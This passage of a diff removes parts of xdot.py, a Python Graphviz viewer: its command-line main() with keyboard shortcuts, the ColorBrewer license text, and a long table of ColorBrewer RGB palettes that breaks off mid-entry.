Prevent stripping the newlines in epilog message - # http://stackoverflow.com/questions/1857346/python-optparse-how-to-include-additional-info-in-usage-output - return self.epilog - - -def main(): - - parser = OptionParser( - usage='\n\t%prog [file]', - epilog=''' -Shortcuts: - Up, Down, Left, Right scroll - PageUp, +, = zoom in - PageDown, - zoom out - R reload dot file - F find - Q quit - P print - Escape halt animation - Ctrl-drag zoom in/out - Shift-drag zooms an area -''' - ) - parser.add_option( - '-f', '--filter', - type='choice', choices=('dot', 'neato', 'twopi', 'circo', 'fdp'), - dest='filter', default='dot', - help='graphviz filter: dot, neato, twopi, circo, or fdp [default: %default]') - parser.add_option( - '-n', '--no-filter', - action='store_const', const=None, dest='filter', - help='assume input is already filtered into xdot format (use e.g. dot -Txdot)') - - (options, args) = parser.parse_args(sys.argv[1:]) - if len(args) > 1: - parser.error('incorrect number of arguments') - - win = DotWindow() - win.connect('destroy', gtk.main_quit) - win.set_filter(options.filter) - if len(args) == 0: - if not sys.stdin.isatty(): - win.set_dotcode(sys.stdin.read()) - else: - if args[0] == '-': - win.set_dotcode(sys.stdin.read()) - else: - win.open_file(args[0]) - gtk.main() - - -# Apache-Style Software License for ColorBrewer software and ColorBrewer Color -# Schemes, Version 1.1 -# -# Copyright (c) 2002 Cynthia Brewer, Mark Harrower, and The Pennsylvania State -# University. All rights reserved. -# -# Redistribution and use in source and binary forms, with or without -# modification, are permitted provided that the following conditions are met: -# -# 1. Redistributions as source code must retain the above copyright notice, -# this list of conditions and the following disclaimer. -# -# 2. The end-user documentation included with the redistribution, if any, -# must include the following acknowledgment: -# -# This product includes color specifications and designs developed by -# Cynthia Brewer (http://colorbrewer.org/). -# -# Alternately, this acknowledgment may appear in the software itself, if and -# wherever such third-party acknowledgments normally appear. -# -# 3. The name "ColorBrewer" must not be used to endorse or promote products -# derived from this software without prior written permission. For written -# permission, please contact Cynthia Brewer at cbrewer@psu.edu. -# -# 4. Products derived from this software may not be called "ColorBrewer", -# nor may "ColorBrewer" appear in their name, without prior written -# permission of Cynthia Brewer. -# -# THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES, -# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -# FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CYNTHIA -# BREWER, MARK HARROWER, OR THE PENNSYLVANIA STATE UNIVERSITY BE LIABLE FOR ANY -# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -brewer_colors = { - 'accent3': [(127, 201, 127), (190, 174, 212), (253, 192, 134)], - 'accent4': [(127, 201, 127), (190, 174, 212), (253, 192, 134), (255, 255, 153)], - 'accent5': [(127, 201, 127), (190, 174, 212), (253, 192, 134), (255, 255, 153), (56, 108, 176)], - 'accent6': [(127, 201, 127), (190, 174, 212), (253, 192, 134), (255, 255, 153), (56, 108, 176), (240, 2, 127)], - 'accent7': [(127, 201, 127), (190, 174, 212), (253, 192, 134), (255, 255, 153), (56, 108, 176), (240, 2, 127), (191, 91, 23)], - 'accent8': [(127, 201, 127), (190, 174, 212), (253, 192, 134), (255, 255, 153), (56, 108, 176), (240, 2, 127), (191, 91, 23), (102, 102, 102)], - 'blues3': [(222, 235, 247), (158, 202, 225), (49, 130, 189)], - 'blues4': [(239, 243, 255), (189, 215, 231), (107, 174, 214), (33, 113, 181)], - 'blues5': [(239, 243, 255), (189, 215, 231), (107, 174, 214), (49, 130, 189), (8, 81, 156)], - 'blues6': [(239, 243, 255), (198, 219, 239), (158, 202, 225), (107, 174, 214), (49, 130, 189), (8, 81, 156)], - 'blues7': [(239, 243, 255), (198, 219, 239), (158, 202, 225), (107, 174, 214), (66, 146, 198), (33, 113, 181), (8, 69, 148)], - 'blues8': [(247, 251, 255), (222, 235, 247), (198, 219, 239), (158, 202, 225), (107, 174, 214), (66, 146, 198), (33, 113, 181), (8, 69, 148)], - 'blues9': [(247, 251, 255), (222, 235, 247), (198, 219, 239), (158, 202, 225), (107, 174, 214), (66, 146, 198), (33, 113, 181), (8, 81, 156), (8, 48, 107)], - 'brbg10': [(84, 48, 5), (0, 60, 48), (140, 81, 10), (191, 129, 45), (223, 194, 125), (246, 232, 195), (199, 234, 229), (128, 205, 193), (53, 151, 143), (1, 102, 94)], - 'brbg11': [(84, 48, 5), (1, 102, 94), (0, 60, 48), (140, 81, 10), (191, 129, 45), (223, 194, 125), (246, 232, 195), (245, 245, 245), (199, 234, 229), (128, 205, 193), (53, 151, 143)], - 'brbg3': [(216, 179, 101), (245, 245, 245), (90, 180, 172)], - 'brbg4': [(166, 97, 26), (223, 194, 125), (128, 205, 193), (1, 133, 113)], - 'brbg5': [(166, 97, 26), (223, 194, 125), (245, 245, 245), (128, 205, 193), (1, 133, 113)], - 'brbg6': [(140, 81, 10), (216, 179, 101), (246, 232, 195), (199, 234, 229), (90, 180, 172), (1, 102, 94)], - 'brbg7': [(140, 81, 10), (216, 179, 101), (246, 232, 195), (245, 245, 245), (199, 234, 229), (90, 180, 172), (1, 102, 94)], - 'brbg8': [(140, 81, 10), (191, 129, 45), (223, 194, 125), (246, 232, 195), (199, 234, 229), (128, 205, 193), (53, 151, 143), (1, 102, 94)], - 'brbg9': [(140, 81, 10), (191, 129, 45), (223, 194, 125), (246, 232, 195), (245, 245, 245), (199, 234, 229), (128, 205, 193), (53, 151, 143), (1, 102, 94)], - 'bugn3': [(229, 245, 249), (153, 216, 201), (44, 162, 95)], - 'bugn4': [(237, 248, 251), (178, 226, 226), (102, 194, 164), (35, 139, 69)], - 'bugn5': [(237, 248, 251), (178, 226, 226), (102, 194, 164), (44, 162, 95), (0, 109, 44)], - 'bugn6': [(237, 248, 251), (204, 236, 230), (153, 216, 201), (102, 194, 164), (44, 162, 95), (0, 109, 44)], - 'bugn7': [(237, 248, 251), (204, 236, 230), (153, 216, 201), (102, 194, 164), (65, 174, 118), (35, 139, 69), (0, 88, 36)], - 'bugn8': [(247, 252, 253), (229, 245, 249), (204, 236, 230), (153, 216, 201), (102, 194, 164), (65, 174, 118), (35, 139, 69), (0, 88, 36)], - 'bugn9': [(247, 252, 253), (229, 245, 249), (204, 236, 230), (153, 216, 201), (102, 194, 164), (65, 174, 118), (35, 139, 69), (0, 109, 44), (0, 68, 27)], - 'bupu3': [(224, 236, 244), (158, 188, 218), (136, 86, 167)], - 'bupu4': [(237, 248, 251), (179, 205, 227), (140, 150, 198), (136, 65, 157)], - 'bupu5': [(237, 248, 251), (179, 205, 227), (140, 150, 198), (136, 86, 167), (129, 15, 124)], - 'bupu6': [(237, 248, 251), (191, 211, 230), (158, 188, 218), (140, 150, 198), (136, 86, 167), (129, 15, 124)], - 'bupu7': [(237, 248, 251), (191, 211, 230), (158, 188, 218), (140, 150, 198), (140, 107, 177), (136, 65, 157), (110, 1, 107)], - 'bupu8': [(247, 252, 253), (224, 236, 244), (191, 211, 230), (158, 188, 218), (140, 150, 198), (140, 107, 177), (136, 65, 157), (110, 1, 107)], - 'bupu9': [(247, 252, 253), (224, 236, 244), (191, 211, 230), (158, 188, 218), (140, 150, 198), (140, 107, 177), (136, 65, 157), (129, 15, 124), (77, 0, 75)], - 'dark23': [(27, 158, 119), (217, 95, 2), (117, 112, 179)], - 'dark24': [(27, 158, 119), (217, 95, 2), (117, 112, 179), (231, 41, 138)], - 'dark25': [(27, 158, 119), (217, 95, 2), (117, 112, 179), (231, 41, 138), (102, 166, 30)], - 'dark26': [(27, 158, 119), (217, 95, 2), (117, 112, 179), (231, 41, 138), (102, 166, 30), (230, 171, 2)], - 'dark27': [(27, 158, 119), (217, 95, 2), (117, 112, 179), (231, 41, 138), (102, 166, 30), (230, 171, 2), (166, 118, 29)], - 'dark28': [(27, 158, 119), (217, 95, 2), (117, 112, 179), (231, 41, 138), (102, 166, 30), (230, 171, 2), (166, 118, 29), (102, 102, 102)], - 'gnbu3': [(224, 243, 219), (168, 221, 181), (67, 162, 202)], - 'gnbu4': [(240, 249, 232), (186, 228, 188), (123, 204, 196), (43, 140, 190)], - 'gnbu5': [(240, 249, 232), (186, 228, 188), (123, 204, 196), (67, 162, 202), (8, 104, 172)], - 'gnbu6': [(240, 249, 232), (204, 235, 197), (168, 221, 181), (123, 204, 196), (67, 162, 202), (8, 104, 172)], - 'gnbu7': [(240, 249, 232), (204, 235, 197), (168, 221, 181), (123, 204, 196), (78, 179, 211), (43, 140, 190), (8, 88, 158)], - 'gnbu8': [(247, 252, 240), (224, 243, 219), (204, 235, 197), (168, 221, 181), (123, 204, 196), (78, 179, 211), (43, 140, 190), (8, 88, 158)], - 'gnbu9': [(247, 252, 240), (224, 243, 219), (204, 235, 197), (168, 221, 181), (123, 204, 196), (78, 179, 211), (43, 140, 190), (8, 104, 172), (8, 64, 129)], - 'greens3': [(229, 245, 224), (161, 217, 155), (49, 163, 84)], - 'greens4': [(237, 248, 233), (186, 228, 179), (116, 196, 118), (35, 139, 69)], - 'greens5': [(237, 248, 233), (186, 228, 179), (116, 196, 118), (49, 163, 84), (0, 109, 44)], - 'greens6': [(237, 248, 233), (199, 233, 192), (161, 217, 155), (116, 196, 118), (49, 163, 84), (0, 109, 44)], - 'greens7': [(237, 248, 233), (199, 233, 192), (161, 217, 155), (116, 196, 118), (65, 171, 93), (35, 139, 69), (0, 90, 50)], - 'greens8': [(247, 252, 245), (229, 245, 224), (199, 233, 192), (161, 217, 155), (116, 196, 118), (65, 171, 93), (35, 139, 69), (0, 90, 50)], - 'greens9': [(247, 252, 245), (229, 245, 224), (199, 233, 192), (161, 217, 155), (116, 196, 118), (65, 171, 93), (35, 139, 69), (0, 109, 44), (0, 68, 27)], - 'greys3': [(240, 240, 240), (189, 189, 189), (99, 99, 99)], - 'greys4': [(247, 247, 247), (204, 204, 204), (150, 150, 150), (82, 82, 82)], - 'greys5': [(247, 247, 247), (204, 204, 204), (150, 150, 150), (99, 99, 99), (37, 37, 37)], - 'greys6': [(247, 247, 247), (217, 217, 217), (189, 189, 189), (150, 150, 150), (99, 99, 99), (37, 37, 37)], - 'greys7': [(247, 247, 247), (217, 217, 217), (189, 189, 189), (150, 150, 150), (115, 115, 115), (82, 82, 82), (37, 37, 37)], - 'greys8': [(255, 255, 255), (240, 240, 240), (217, 217, 217), (189, 189, 189), (150, 150, 150), (115, 115, 115), (82, 82, 82), (37, 37, 37)], - 'greys9': [(255, 255, 255), (240, 240, 240), (217, 217, 217), (189, 189, 189), (150, 150, 150), (115, 115, 115), (82, 82, 82), (37, 37, 37), (0, 0, 0)], - 'oranges3': [(254, 230, 206), (253, 174, 107), (230, 85, 13)], - 'oranges4': [(254, 237, 222), (253, 190, 133), (253, 141, 60), (217, 71, 1)], - 'oranges5': [(254, 237, 222), (253, 190, 133), (253, 141, 60), (230, 85, 13), (166, 54, 3)], - 'oranges6': [(254, 237, 222), (253, 208, 162), (253, 174, 107), (253, 141, 60), (230, 85, 13), (166, 54, 3)], - 'oranges7': [(254, 237, 222), (253, 208, 162), (253, 174, 107), (253, 141, 60), (241, 105, 19), (217, 72, 1), (140, 45, 4)], - 'oranges8': [(255, 245, 235), (254, 230, 206), (253, 208, 162), (253, 174, 107), (253, 141, 60), (241, 105, 19), (217, 72, 1), (140, 45, 4)], - 'oranges9': [(255, 245, 235), (254, 230, 206), (253, 208, 162), (253, 174, 107), (253, 141, 60), (241, 105, 19), (217, 72, 1), (166, 54, 3), (127, 39, 4)], - 'orrd3': [(254, 232, 200), (253, 187, 132), (227, 74, 51)], - 'orrd4': [(254, 240, 217), (253, 204, 138), (252, 141, 89), (215, 48, 31)], - 'orrd5': [(254, 240, 217), (253, 204, 138), (252, 141, 89), (227, 74, 51), (179, 0, 0)], - 'orrd6': [(254, 240, 217), (253, 212, 158), (253, 187, 132), (252, 141, 89), (227, 74, 51), (179, 0, 0)], - 'orrd7': [(254, 240, 217), (253, 212, 158), (253, 187, 132), (252, 141, 89), (239, 101, 72), (215, 48, 31), (153, 0, 0)], - 'orrd8': [(255, 247, 236), (254, 232, 200), (253, 212, 158), (253, 187, 132), (252, 141, 89), (239, 101, 72), (215, 48, 31), (153, 0, 0)], - 'orrd9': [(255, 247, 236), (254, 232, 200), (253, 212, 158), (253, 187, 132), (252, 141, 89), (239, 101, 72), (215, 48, 31), (179, 0, 0), (127, 0, 0)], - 'paired10': [(166, 206, 227), (106, 61, 154), (31, 120, 180), (178, 223, 138), (51, 160, 44), (251, 154, 153), (227, 26, 28), (253, 191, 111), (255, 127, 0), (202, 178, 214)], - 'paired11': [(166, 206, 227), (106, 61, 154), (255, 255, 153), (31, 120, 180), (178, 223, 138), (51, 160, 44), (251, 154, 153), (227, 26, 28), (253, 191, 111), (255, 127, 0), (202, 178, 214)], - 'paired12': [(166, 206, 227), (106, 61, 154), (255, 255, 153), (177, 89, 40), (31, 120, 180), (178, 223, 138), (51, 160, 44), (251, 154, 153), (227, 26, 28), (253, 191, 111), (255, 127, 0), (202, 178, 214)], - 'paired3': [(166, 206, 227), (31, 120, 180), (178, 223, 138)], - 'paired4': [(166, 206, 227), (31, 120, 180), (178, 223, 138), (51, 160, 44)], - 'paired5': [(166, 206, 227), (31, 120, 180), (178, 223, 138), (51, 160, 44), (251, 154, 153)], - 'paired6': [(166, 206, 227), (31, 120, 180), (178, 223, 138), (51, 160, 44), (251, 154, 153), (227, 26, 28)], - 'paired7': [(166, 206, 227), (31, 120, 180), (178, 223, 138), (51, 160, 44), (251, 154, 153), (227, 26, 28), (253, 191, 111)], - 'paired8': [(166, 206, 227), (31, 120, 180), (178, 223, 138), (51, 160, 44), (251, 154, 153), (227, 26, 28), (253, 191, 111), (255, 127, 0)], - 'paired9': [(166, 206, 227), (31, 120, 180), (178, 223, 138), (51, 160, 44), (251, 154, 153), (227, 26, 28), (253, 191, 111), (255, 127, 0), (202, 178, 214)], - 'pastel13': [(251, 180, 174), (179, 205, 227), (204, 235, 197)], - 'pastel14': [(251, 180, 174), (179, 205, 227), (204, 235, 197), (222, 203, 228)], - 'pastel15': [(251, 180, 174), (179, 205, 227), (204, 235, 197), (222, 203, 228), (254, 217, 166)], - 'pastel16': [(251, 180, 174), (179, 205, 227), (204, 235, 197), (222, 203, 228), (254, 217, 166), (255, 255, 204)], - 'pastel17': [(251, 180, 174), (179, 205, 227), (204, 235, 197), (222, 203, 228), (254, 217, 166), (255, 255, 204), (229, 216, 189)], - 'pastel18': [(251, 180, 174), (179, 205, 227), (204, 235, 197), (222, 203, 228), (254, 217, 166), (255, 255, 204), (229, 216, 189), (253, 218, 236)], - 'pastel19': [(251, 180, 174), (179, 205, 227), (204, 235, 197), (222, 203, 228), (254, 217, 166), (255, 255, 204), (229, 216, 189), (253, 218, 236), (242, 242, 242)], - 'pastel23': [(179, 226, 205), (253, 205, 172), (203, 213, 232)], - 'pastel24': [(179, 226, 205), (253, 205, 172), (203, 213, 232), (244, 202, 228)], - 'pastel25': [(179, 226, 205), (253, 205, 172), (203, 213, 232), (244, 202, 228), (230, 245, 201)], - 'pastel26': [(179, 226, 205), (253, 205, 172), (203, 213, 232), (244, 202, 228), (230, 245, 201), (255, 242, 174)], - 'pastel27': [(179, 226, 205), (253, 205, 172), (203, 213, 232), (244, 202, 228), (230, 245, 201), (255, 242, 174), (241, 226, 204)], - 'pastel28': [(179, 226, 205), (253, 205, 172), (203, 213, 232), (244, 202, 228), (230, 245, 201), (255, 242, 174), (241, 226, 204), (204, 204, 204)], - 'piyg10': [(142, 1, 82), (39, 100, 25), (197, 27, 125), (222, 119, 174), (241, 182, 218), (253, 224, 239), (230, 245, 208), (184, 225, 134), (127, 188, 65), (77, 146, 33)], - 'piyg11': [(142, 1, 82), (77, 146, 33), (39, 100, 25), (197, 27, 125), (222, 119, 174), (241, 182, 218), (253, 224, 239), (247, 247, 247), (230, 245, 208), (184, 225, 134), (127, 188, 65)], - 'piyg3': [(233, 163, 201), (247, 247, 247), (161, 215, 106)], - 'piyg4': [(208, 28, 139), (241, 182, 218), (184, 225, 134), (77, 172, 38)], - 'piyg5': [(208, 28, 139), (241, 182, 218), (247, 247, 247), (184, 225, 134), (77, 172, 38)], - 'piyg6': [(197, 27, 125), (233, 163, 201), (253, 224, 239), (230, 245, 208), (161, 215, 106), (77, 146, 33)], - 'piyg7': [(197, 27, 125), (233, 163, 201), (253, 224, 239), (247, 247, 247), (230, 245, 208), (161, 215, 106), (77, 146, 33)], - 'piyg8': [(197, 27, 125), (222, 119, 174), (241, 182, 218), (253, 224, 239), (230, 245, 208), (184, 225, 134), (127, 188, 65), (77, 146, 33)], - 'piyg9': [(197, 27, 125), (222, 119, 174), (241, 182, 218), (253, 224, 239), (247, 247, 247), (230, 245, 208), (184, 225, 134), (127, 188, 65), (77, 146, 33)], - 'prgn10': [(64, 0, 75), (0, 68, 27), (118, 42, 131), (153, 112, 171), (194, 165, 207), (231, 212, 232), (217, 240, 211), (166, 219, 160), (90, 174, 97), (27, 120, 55)], - 'prgn11': [(64, 0, 75), (27, 120, 55), (0, 68, 27), (118, 42, 131), (153, 112, 171), (194, 165, 207), (231, 212, 232), (247, 247, 247), (217, 240, 211), (166, 219, 160), (90, 174, 97)], - 'prgn3': [(175, 141, 195), (247, 247, 247), (127, 191, 123)], - 'prgn4': [(123, 50, 148), (194, 165, 207), (166, 219, 160), (0, 136, 55)], - 'prgn5': [(123, 50, 148), (194, 165, 207), (247, 247, 247), (166, 219, 160), (0, 136, 55)], - 'prgn6': [(118, 42, 131), (175, 141, 195), (231, 212, 232), (217, 240, 211), (127, 191, 123), (27, 120, 55)], - 'prgn7': [(118, 42, 131), (175, 141, 195), (231, 212, 232), (247, 247, 247), (217, 240, 211), (127, 191, 123), (27, 120, 55)], - 'prgn8': [(118, 42, 131), (153, 112, 171), (194, 165, 207), (231, 212, 232), (217, 240, 211), (166, 219, 160), (90, 174, 97), (27, 120, 55)], - 'prgn9': [(118, 42, 131), (153, 112, 171), (194, 165, 207), (231, 212, 232), (247, 247, 247), (217, 240, 211), (166, 219, 160), (90, 174, 97), (27, 120, 55)], - 'pubu3': [(236, 231, 242), (166, 189, 219), (43, 140, 190)], - 'pubu4': [(241, 238, 246), (189, 201, 225), (116, 169, 207), (5, 112, 176)], - 'pubu5': [(241, 238, 246), (189, 201, 225), (116, 169, 207), (43, 140, 190), (4, 90, 141)], - 'pubu6': [(241, 238, 246), (208, 209, 230), (166, 189, 219), (116, 169, 207), (43, 140, 190), (4, 90, 141)], - 'pubu7': [(241, 238, 246), (208, 209, 230), (166, 189, 219), (116, 169, 207), (54, 144, 192), (5, 112, 176), (3, 78, 123)], - 'pubu8': [(255, 247, 251), (236, 231, 242), (208, 209, 230), (166, 189, 219), (116, 169, 207), (54, 144, 192), (5, 112, 176), (3, 78, 123)], - 'pubu9': [(255, 247, 251), (236, 231, 242), (208, 209, 230), (166, 189, 219), (116, 169, 207), (54, 144, 192), (5, 112, 176), (4, 90, 141), (2, 56, 88)], - 'pubugn3': [(236, 226, 240), (166, 189, 219), (28, 144, 153)], - 'pubugn4': [(246, 239, 247), (189, 201, 225), (103, 169, 207), (2, 129, 138)], - 'pubugn5': [(246, 239, 247), (189, 201, 225), (103, 169, 207), (28, 144, 153), (1, 108, 89)], - 'pubugn6': [(246, 239, 247), (208, 209, 230), (166, 189, 219), (103, 169, 207), (28, 144, 153), (1, 108, 89)], - 'pubugn7': [(246, 239, 247), (208, 209, 230), (166, 189, 219), (103, 169, 207), (54, 144, 192), (2, 129, 138), (1, 100, 80)], - 'pubugn8': [(255, 247, 251), (236, 226, 240), (208, 209, 230), (166, 189, 219), (103, 169, 207), (54, 144, 192), (2, 129, 138), (1, 100, 80)], - 'pubugn9': [(255, 247, 251), (236, 226, 240), (208, 209, 230), (166, 189, 219), (103, 169, 207), (54, 144, 192), (2, 129, 138), (1, 108, 89), (1, 70, 54)], - 'puor10': [(127, 59, 8), (45, 0, 75), (179, 88, 6), (224, 130, 20), (253, 184, 99), (254, 224, 182), (216, 218, 235), (178, 171, 210), (128, 115, 172), (84, 39, 136)], - 'puor11': [(127, 59, 8), (84, 39, 136), (45, 0, 75), (179, 88, 6), (224, 130, 20), (253, 184, 99), (254, 224, 182), (247, 247, 247), (216, 218, 235), (178, 171, 210), (128, 115, 172)], - 'puor3': [(241, 163, 64), (247, 247, 247), (153, 142, 195)], - 'puor4': [(230, 97, 1), (253, 184, 99), (178, 171, 210), (94, 60, 153)], - 'puor5': [(230, 97, 1), (253, 184, 99), (247, 247, 247), (178, 171, 210), (94, 60, 153)], - 'puor6': [(179, 88, 6), (241, 163, 64), (254, 224, 182), (216, 218, 235), (153, 142, 195), (84, 39, 136)], - 'puor7': [(179, 88, 6), (241, 163, 64), (254, 224, 182), (247, 247, 247), (216, 218, 235), (153, 142, 195), (84, 39, 136)], - 'puor8': [(179, 88, 6), (224, 130, 20), (253, 184, 99), (254, 224, 182), (216, 218, 235), (178, 171, 210), (128, 115, 172), (84, 39, 136)], - 'puor9': [(179, 88, 6), (224, 130, 20), (253, 184, 99), (254, 224, 182), (247, 247, 247), (216, 218, 235), (178, 171, 210), (128, 115, 172), (84, 39, 136)], - 'purd3': [(231, 225, 239), (201, 148, 199), (221, 28, 119)], - 'purd4': [(241, 238, 246), (215, 181, 216), (223, 101, 176), (206, 18, 86)], - 'purd5': [(241, 238, 246), (215, 181, 216), (223, 101, 176), (221, 28, 119), (152, 0, 67)], - 'purd6': [(241, 238, 246), (212, 185, 218), (201, 148, 199), (223, 101, 176), (221, 28, 119), (152, 0, 67)], - 'purd7': [(241, 238, 246), (212, 185, 218), (201, 148, 199), (223, 101, 176), (231, 41, 138), (206, 18, 86), (145, 0, 63)], - 'purd8': [(247, 244, 249), (231, 225, 239), (212, 185, 218), (201, 148, 199), (223, 101, 176), (231, 41, 138), (206, 18, 86), (145, 0, 63)], - 'purd9': [(247, 244, 249), (231, 225, 239), (212, 185, 218), (201, 148, 199), (223, 101, 176), (231, 41, 138), (206, 18, 86), (152, 0, 67), (103, 0, 31)], - 'purples3': [(239, 237, 245), (188, 189, 220), (117, 107, 177)], - 'purples4': [(242, 240, 247), (203, 201, 226), (158, 154, 200), (106, 81, 163)], - 'purples5': [(242, 240, 247), (203, 201, 226), (158, 154, 200), (117, 107, 177), (84, 39, 143)], - 'purples6': [(242, 240, 247), (218, 218, 235), (188, 189, 220), (158, 154, 200), (117, 107, 177), (84, 39, 143)], - 'purples7': [(242, 240, 247), (218, 218, 235), (188, 189, 220), (158, 154, 200), (128, 125, 186), (106, 81, 163), (74, 20, 134)], - 'purples8': [(252, 251, 253), (239, 237, 245), (218, 218, 235), (188, 189, 220), (158, 154, 200), (128, 125, 186), (106, 81, 163), (74, 20, 134)], - 'purples9': [(252, 251, 253), (239, 237, 245), (218, 218, 235), (188, 189, 220), (158, 154, 200), (128, 125, 186), (106, 81, 163), (84, 39, 143), (63, 0, 125)], - 'rdbu10': [(103, 0, 31), (5, 48, 97), (178, 24, 43), (214, 96, 77), (244, 165, 130), (253, 219, 199), (209, 229, 240), (146, 197, 222), (67, 147, 195), (33, 102, 172)], - 'rdbu11': [(103, 0, 31), (33, 102, 172), (5, 48, 97), (178, 24, 43), (214, 96, 77), (244, 165, 130), (253, 219, 199), (247, 247, 247), (209, 229, 240), (146, 197, 222), (67, 147, 195)], - 'rdbu3': [(239, 138, 98), (247, 247, 247), (103, 169, 207)], - 'rdbu4': [(202, 0, 32), (244, 165, 130), (146, 197, 222), (5, 113, 176)], - 'rdbu5': [(202, 0, 32), (244, 165, 130), (247, 247, 247), (146, 197, 222), (5, 113, 176)], - 'rdbu6': [(178, 24, 43), (239, 138, 98), (253, 219, 199), (209, 229, 240), (103, 169, 207), (33, 102, 172)], - 'rdbu7': [(178, 24, 43), (239, 138, 98), (253, 219, 199), (247, 247, 247), (209, 229, 240), (103, 169, 207), (33, 102, 172)], - 'rdbu8': [(178, 24, 43), (214, 96, 77), (244, 165, 130), (253, 219, 199), (209, 229, 240), (146, 197, 222), (67, 147, 195), (33, 102, 172)], - 'rdbu9': [(178, 24, 43), (214, 96, 77), (244, 165, 130), (253, 219, 199), (247, 247, 247), (209, 229, 240), (146, 197, 222), (67, 147, 195), (33, 102, 172)], - 'rdgy10': [(103, 0, 31), (26, 26, 26), (178, 24, 43), (214, 96, 77), (244, 165, 130), (253, 219, 199), (224, 224, 224), (186, 186, 186), (135, 135, 135), (77, 77, 77)], - 'rdgy11': [(103, 0, 31), (77, 77, 77), (26, 26, 26), (178, 24, 43), (214, 96, 77), (244, 165, 130), (253, 219, 199), (255, 255, 255), (224, 224, 224), (186, 186, 186), (135, 135, 135)], - 'rdgy3': [(239, 138, 98), (255, 255, 255), (153, 153, 153)], - 'rdgy4': [(202, 0, 32), (244, 165, 130), (186, 186, 186), (64, 64, 64)], - 'rdgy5': [(202, 0, 32), (244, 165, 130), (255, 255, 255), (186, 186, 186), (64, 64, 64)], - 'rdgy6': [(178, 24, 43), (239, 138, 98), (253, 219, 199), (224, 224, 224), (153, 153, 153), (77, 77, 77)], - 'rdgy7': [(178, 24, 43), (239, 138, 98), (253, 219, 199), (255, 255, 255), (224, 224, 224), (153, 153, 153), (77, 77, 77)], - 'rdgy8': [(178, 24, 43), (214, 96, 77), (244, 165, 130), (253, 219, 199), (224, 224, 224), (186, 186, 186), (135, 135, 135), (77, 77, 77)], - 'rdgy9': [(178, 24, 43), (214, 96, 77), (244, 165, 130), (253, 219, 199), (255, 255, 255), (224, 224, 224), (186, 186, 186), (135, 135, 135), (77, 77, 77)], - 'rdpu3': [(253, 224, 221), (250, 159, 181), (197, 27, 138)], - 'rdpu4': [(254, 235, 226), (251, 180, 185), (247, 104, 161), (174, 1, 126)], - 'rdpu5': [(254, 235, 226), (251, 180, 185), (247, 104, 161), (197, 27, 138), (122, 1, 119)], - 'rdpu6': [(254, 235, 226), (252, 197, 192), (250, 159, 181), (247, 104, 161), (197, 27, 138), (122, 1, 119)], - 'rdpu7': [(254, 235, 226), (252, 197, 192), (250, 159, 181), (247, 104, 161), (221, 52, 151), (174, 1, 126), (122, 1, 119)], - 'rdpu8': [(255, 247, 243), (253, 224, 221), (252, 197, 192), (250, 159, 181), (247, 104, 161), (221, 52, 151), (174, 1, 126), (122, 1, 119)], - 'rdpu9': [(255, 247, 243), (253, 224, 221), (252, 197, 192), (250, 159, 181), (247, 104, 161), (221, 52, 151), (174, 1, 126), (122, 1, 119), (73, 0, 106)], - 'rdylbu10': [(165, 0, 38), (49, 54, 149), (215, 48, 39), (244, 109, 67), (253, 174, 97), (254, 224, 144), (224, 243, 248), (171, 217, 233), (116, 173, 209), (69, 117, 180)], - 'rdylbu11': [(165, 0, 38), (69, 117, 180), (49, 54, 149), (215, 48, 39), (244, 109, 67), (253, 174, 97), (254, 224, 144), (255, 255, 191), (224, 243, 248), (171, 217, 233), (116, 173, 209)], - 'rdylbu3': [(252, 141, 89), (255, 255, 191), (145, 191, 219)], - 'rdylbu4': [(215, 25, 28), (253, 174, 97), (171, 217, 233), (44, 123, 182)], - 'rdylbu5': [(215, 25, 28), (253, 174, 97), (255, 255, 191), (171, 217, 233), (44, 123, 182)], - 'rdylbu6': [(215, 48, 39), (252, 141, 89), (254, 224, 144), (224, 243, 248), (145, 191, 219), (69, 117, 180)], - 'rdylbu7': [(215, 48, 39), (252, 141, 89), (254, 224, 144), (255, 255, 191), (224, 243, 248), (145, 191, 219), (69, 117, 180)], - 'rdylbu8': [(215, 48, 39), (244, 109, 67), (253, 174, 97), (254, 224, 144), (224, 243, 248), (171, 217, 233), (116, 173, 209), (69, 117, 180)], - 'rdylbu9': [(215, 48, 39), (244, 109, 67), (253, 174, 97), (254, 224, 144), (255, 255, 191), (224, 243, 248), (171, 217, 233), (116, 173, 209), (69, 117, 180)], - 'rdylgn10': [(165, 0, 38), (0, 104, 55), (215, 48, 39), (244, 109, 67), (253, 174, 97), (254, 224, 139), (217, 239, 139), (166, 217, 106), (102, 189, 99), (26, 152, 80)], - 'rdylgn11': [(165, 0, 38), (26, 152, 80), (0, 104, 55), (215, 48, 39), (244, 109, 67), (253, 174, 97), (254, 224, 139), (255, 255, 191), (217, 239, 139), (166, 217, 106), (102, 189, 99)], - 'rdylgn3': [(252, 141, 89), (255, 255, 191), (145, 207, 96)], - 'rdylgn4': [(215, 25, 28), (253, 174, 97), (166, 217, 106), (26, 150, 65)], - 'rdylgn5': [(215, 25, 28), (253, 174, 97), (255, 255, 191), (166, 217, 106), (26, 150, 65)], - 'rdylgn6': [(215, 48, 39), (252, 141, 89), (254, 224, 139), (217, 239, 139), (145, 207, 96), (26, 152, 80)], - 'rdylgn7': [(215, 48, 39), (252, 141, 89), (254, 224, 139), (255, 255, 191), (217, 239, 139), (145, 207, 96), (26, 152, 80)], - 'rdylgn8': [(215, 48, 39), (244, 109, 67), (253, 174, 97), (254, 224, 139), (217, 239, 139), (166, 217, 106), (102, 189, 99), (26, 152, 80)], - 'rdylgn9': [(215, 48, 39), (244, 109, 67), (253, 174, 97), (254, 224, 139), (255, 255, 191), (217, 239, 139), (166, 217, 106), (102, 189, 99), (26, 152, 80)], - 'reds3': [(254, 224, 210), (252, 146, 114), (222, 45, 38)], - 'reds4': 